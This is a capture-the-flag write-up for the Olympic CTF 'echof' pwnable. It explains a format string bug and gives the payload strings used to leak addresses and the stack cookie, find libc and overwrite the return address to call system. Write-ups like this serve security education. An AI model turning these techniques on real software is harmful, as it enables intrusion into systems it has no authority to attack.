Olympic CTF - pwn300 (echof) writeup

This writeup was cross-posted from balidani.blogspot.hu. Author: Dániel Bali.

The vulnerability

This task was a pwnable for 300 points, and it was fun to exploit. The name contains a big hint: there is a format string vulnerability in the program. Here are the relevant parts of the decompiled code:

for ( i = 0; i <= 15; ++i ) {
    bzero(&buf_2, 0x100u);
    read(0, &buf_2, 0x80u);
    buf_2_len = strlen((const char *)&buf_2);

    if ( strchr((const char *)&buf_2, 'n') ) {
        result = puts("i hate this symbol!");

    mmap_buf = (char *)mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);

    *((_DWORD *)mmap_buf + 33) = 'ruoY';
    *((_DWORD *)mmap_buf + 34) = 'sem ';
    *((_DWORD *)mmap_buf + 35) = 'egas';
    *((_DWORD *)mmap_buf + 36) = 'd%( ';
    *((_DWORD *)mmap_buf + 37) = 'tyb ';
    *((_DWORD *)mmap_buf + 38) = ':)se';
    *((_DWORD *)mmap_buf + 39) = '\ns% ';
    mmap_buf[160] = 0;

    *((_DWORD *)mmap_buf + 32) = mmap_buf + 132;
    strncpy(mmap_buf, (const char *)&buf_2, 0x80u);
    mmap_buf[buf_2_len] = 0;

    sprintf((char *)&buf_2, *((const char **)mmap_buf + 32), buf_2_len, mmap_buf);
    puts((const char *)&buf_2);

    result = munmap(mmap_buf, 0x1000u);

Some key points:

The exploit

The vulnerability is clear now, but actual exploitation is many steps away. Since we can't use %n, we have to transform this format string vulnerability into a stack-based buffer overflow. Here are the steps that we have to take to do that.

Leak the base address

Since ASLR is on, we have to leak a base address to know where we are in the memory. After looking at the stack in gdb, we can come up with the following payload:

"%79$08x" + "_" * 120 + "\n"

We will have to subtract 0xc10 from this value to get the base address. We also have to leak a stack address in the same fashion.

Find the return address

If we look at the stack in gdb, we can see that the return address is ~272 bytes after the user-supplied, formatted string on the stack. With this payload, we can overwrite the return address along with the first argument that we will get when we jump to the new return address:

"%0162x" + "_" * 110 + addr * 2 + arg

Defeat the stack protector

There is a stack cookie that we have to bypass. We can just leak it and overwrite it carefully when we are overflowing to the return address, but there is a catch: the last byte is always 0x00. Since we can send a message 16 times, it is easy to solve this though. When the return address is written, we overwrite the stack cookie with the leaked value, but put 0x41 (or anything really) to the last byte. On a second try, we overflow just enough bytes that the terminating zero will be placed to the last byte of the cookie.

To leak the stack protector, we use "%78$08x" + "_" * (...)

To place a terminating null char at the end of the cookie: "%0134x" + "_" * 121 + "\n"

Finding libc

This took me by far the most time, I guess I suck at finding libc versions. I ended up doing the same thing as before (see the writeup here): I started leaking libc addresses as strings and found the copyright string.

First, to get an address from libc we have to look at the got. The first address there will be for the read function. To read at address 0x41414141, we can use this input:

AAAA + "_"*4 + "%14$08x" + "_" * 111 + "\n"

After a bunch of tries, I found the copyright string. The libc version was "Ubuntu EGLIBC 2.15-0ubuntu10.3". To confirm, I calculated the offset between fflush and read and checked it on my local copy. It was a match. Then I checked the address of the system function and leaked the beginning of its bytecode just to check that it wasn't removed. Luckily it was intact, so we came really close to the final exploitation.

Final exploit

The steps for the final exploit:

Here is the payload for the first and second steps:

"%79$08x %78$08x %10$08x " + "_" * 103 + "\n"
"%0176x" + "_" * 80 + (stack_protector | 0x41) + "_" * 12 + ret_addr * 2 + (stack_addr + 288)  + "_" * 4 + "cat flag;#\n"

Actual code for the exploit can be found here.

Thanks to More Smoked Leet Chicken for the CTF. I only got to solve this task, but it was great!